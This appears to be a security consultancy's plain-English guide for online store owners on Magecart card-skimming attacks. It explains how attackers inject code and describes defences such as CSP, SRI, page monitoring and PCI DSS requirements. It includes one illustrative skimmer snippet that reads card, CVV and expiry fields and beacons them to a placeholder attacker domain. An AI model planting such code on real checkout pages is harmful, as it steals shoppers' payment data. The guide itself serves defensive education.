What is a Magecart Attack? A Plain-English Guide for Online Store Owners
Magecart attacks quietly steal your customers' card numbers as they type. Here's how they work, why they hit small stores just as often as big ones, and what you can do about it.
A Magecart attack is a few lines of JavaScript on your checkout page that copy each card number as the customer types it and send that copy to the attacker. The order still goes through, the customer still gets a confirmation, and nobody notices for weeks.
It's a card skimmer, just on your website instead of a gas pump.
What is Magecart?
"Magecart" started as the name of a specific criminal group that targeted Magento-based ecommerce stores in the mid-2010s. The name has since become the general term for the entire category of payment page skimming attacks, regardless of who is behind them or which platform is targeted.
The mechanics are simple:
-
Attackers find a way onto your site. This might be a vulnerability in a plugin you use, a weak admin password, a compromised third-party script you load (a chat widget, an analytics tool, an A/B testing library), or a vulnerability in your hosting platform.
-
They add a small piece of hidden JavaScript. It's usually just a few lines, deliberately obfuscated so it looks like normal code noise. It does one thing: it watches the card number, expiry date, and CVV fields on your checkout page.
-
The moment a customer types their card details, the code copies them. It then sends that copy, silently, in the background, to a server the attacker controls. This happens before the customer even clicks "Pay."
-
Everything else proceeds normally. The payment goes through. The customer gets their order confirmation. No error appears. The breach may not be discovered for weeks or months.
Why does this matter for my store specifically?
You might assume this is a problem for big companies with millions of customers. It is. British Airways lost the details of about 380,000 payment cards this way, and Ticketmaster lost over 40,000. But most Magecart victims are small and medium-sized online stores.
The reason is simple: attackers do not manually pick targets. They use automated tools that scan thousands of sites simultaneously looking for known weaknesses. A store doing $2M a year is just as vulnerable as one doing $200M, and the smaller store is usually harder to defend because there is no dedicated security team watching.
Your payment processor (Stripe, PayPal, Shopify Payments) does not protect you from Magecart. They secure the transaction once card data reaches them. A skimmer steals the data before it gets there, right at the moment of typing in your customer's browser.
What does a skimmer actually look like?
Here is a simplified version of what malicious code might look like on your page. Normal-looking, easy to miss among dozens of legitimate scripts:
document.querySelector('form').addEventListener('submit', function() {
var data = {
card: document.getElementById('card-number').value,
cvv: document.getElementById('cvv').value,
exp: document.getElementById('expiry').value
};
navigator.sendBeacon('https://attacker-domain.com/collect', JSON.stringify(data));
});
Real attacks are far more obfuscated and clever about hiding the destination URL, but the principle is identical. Your customer's card number leaves their browser before it reaches your processor.
Three ways attackers get their code onto your page
1. Compromised third-party scripts
Your checkout page almost certainly loads scripts from outside your own servers: Google Analytics, Facebook Pixel, a live chat widget, a cookie consent banner. If the company hosting one of those scripts is compromised, the attacker can modify the script file and push the skimmer out to every site that loads it.
This is what happened in the British Airways attack. A third-party script was modified. Every customer who visited the payment page during a 15-day window had their details captured.
2. Vulnerable plugins or themes
Outdated plugins, particularly on WordPress/WooCommerce but also on Shopify and Magento, often have known security vulnerabilities. If an attacker can exploit one, they can inject code directly into your site's files.
Being up to date is not always enough. In September 2026 Sansec disclosed StyleSmuggler, an unpatched flaw affecting every current version of Magento and Adobe Commerce. The first confirmed victim had July and August's security patches already applied.
The same goes one layer down. In October 2026, two critical flaws in PHP itself let an attacker run code on a server without logging in, so updating PHP is part of the job too.
The way in does not have to be a plugin flaw, either. In a campaign Gambit Security reported in September 2026, AI tools broke into custom-built stores in hours and left skimmers on checkout pages in eight different ways.
The code does not have to sit in a file at all. Sansec reported a group that hid a loader in Magento CMS blocks and showed scanners a clean page.
3. Weak admin credentials
Simple passwords or reused credentials on your store admin panel give attackers direct access to add or modify code. Once inside an admin account, they do not need to exploit any vulnerability at all.
Does using Shopify or Stripe protect me?
It depends on how your checkout is set up.
If your checkout redirects to a hosted payment page (like Shopify's native checkout, Stripe Checkout, or PayPal), your customer enters card details on Stripe's or Shopify's servers, not yours. A skimmer on your storefront cannot reach those fields. You are significantly less exposed.
If your checkout embeds the processor's card fields in your page (Stripe Elements or the Payment Element, for example), the card fields still live in the processor's own iframe. A skimmer on your page cannot read them directly, and this setup usually counts as SAQ A. What it can do is tamper with the page around the iframe, for example by swapping in a fake card form, which is why SAQ A still has you confirm your page is not susceptible to script attacks.
If your checkout puts the card fields in your own page's HTML (legacy Stripe.js v2, a custom form, some older gateway plugins), a skimmer on that page can read every keystroke. That is the most exposed setup, and it usually means SAQ A-EP. SAQ A vs SAQ A-EP shows how to tell which one you have.
Even in the fully-redirected case, a skimmer on your storefront page can still capture email addresses, names, shipping addresses, session tokens, and order details, all valuable even without the card number.
What can be done about it?
The core defences all come down to controlling what code runs on your page and detecting when something changes:
Content Security Policy (CSP): A rule set, delivered as an HTTP header, that tells the browser which script sources are permitted to run. A properly configured CSP makes it significantly harder for injected code to execute or phone home.
Subresource Integrity (SRI): An attribute you can add to <script> tags that loads third-party code. It contains a cryptographic fingerprint of the file. If the file has been tampered with, the browser refuses to run it.
Page integrity monitoring: Dedicated tools (PCI DSS 4.0.1 requires something in this category for merchants filing SAQ A-EP or SAQ D) that continuously watch your payment page for unexpected changes and alert you when they appear.
Fewer third-party scripts: Every script you remove from your payment page is one fewer attack surface. Many stores load analytics, advertising, and personalisation scripts on their checkout page without realising they are not needed there.
PCI DSS v4.0.1 Requirements 6.4.3 and 11.6.1, which became mandatory in March 2025, directly address this problem. They require SAQ A-EP and SAQ D merchants to maintain an approved list of scripts on their payment page and to actively monitor for unauthorised changes. SAQ A merchants were taken out of both in the January 2025 SAQ A revision, and instead confirm that their site is not susceptible to script attacks. Read more in our guide to PCI DSS 6.4.3 and 11.6.1.
How to check if your store is exposed
The fastest way to find out is to scan your payment page. Our free Security Settings Checker analyses your checkout URL for missing script controls, CSP issues, SRI coverage, and other indicators of skimmer exposure, in about 30 seconds, no account required.
It will not tell you if you have already been compromised (you would need a forensic investigation for that), but it will tell you whether the controls that make a skimmer's job harder are in place.
If you have a more complex setup, or if you want ongoing monitoring rather than a one-time scan, get in touch. Our consultancy work covers payment page security reviews and remediation specifically for growing ecommerce stores.
Technical Overview
Next steps
Got a PCI notice or a failed scan?
Free PCI Notice Triage. Tell us what your processor sent, and we'll tell you what it requires.
Check a page of your store, free
The Security Settings Checker, the Website Tracking Checkerand the SAQ type selector.
Watch your store every week, free
Run the free check, confirm the store is yours, and Store Health keeps checking it every week.
Subscribe to the Newsletter
New guides on PCI, card skimming and privacy letters, by email when we publish them.
No spam, unsubscribe anytime. We handle your address as described in our privacy policy.
Related Articles
AI-Powered Card Skimmers: How a Rogue Script Hides on a WooCommerce Checkout
Modern card skimmers use AI to mutate their code and impersonate legitimate plugins. Here's how they hide on WooCommerce checkouts, and what store owners can do to find them.
What is a Supply Chain Attack? When the Software You Trust Becomes the Threat
A supply chain attack compromises software or services that you depend on, so attackers reach you through a vendor you already trust. Here's how it works, why it's behind many of the biggest breaches, and what ecommerce merchants can do about it.
What is Card Skimming? How Criminals Steal Card Data at ATMs, Gas Pumps, and Checkouts
Card skimming installs hidden hardware on payment terminals to steal card details the moment a card is swiped or inserted. Here's how it works, where it happens most, and what it means for online merchants dealing with the resulting fraud.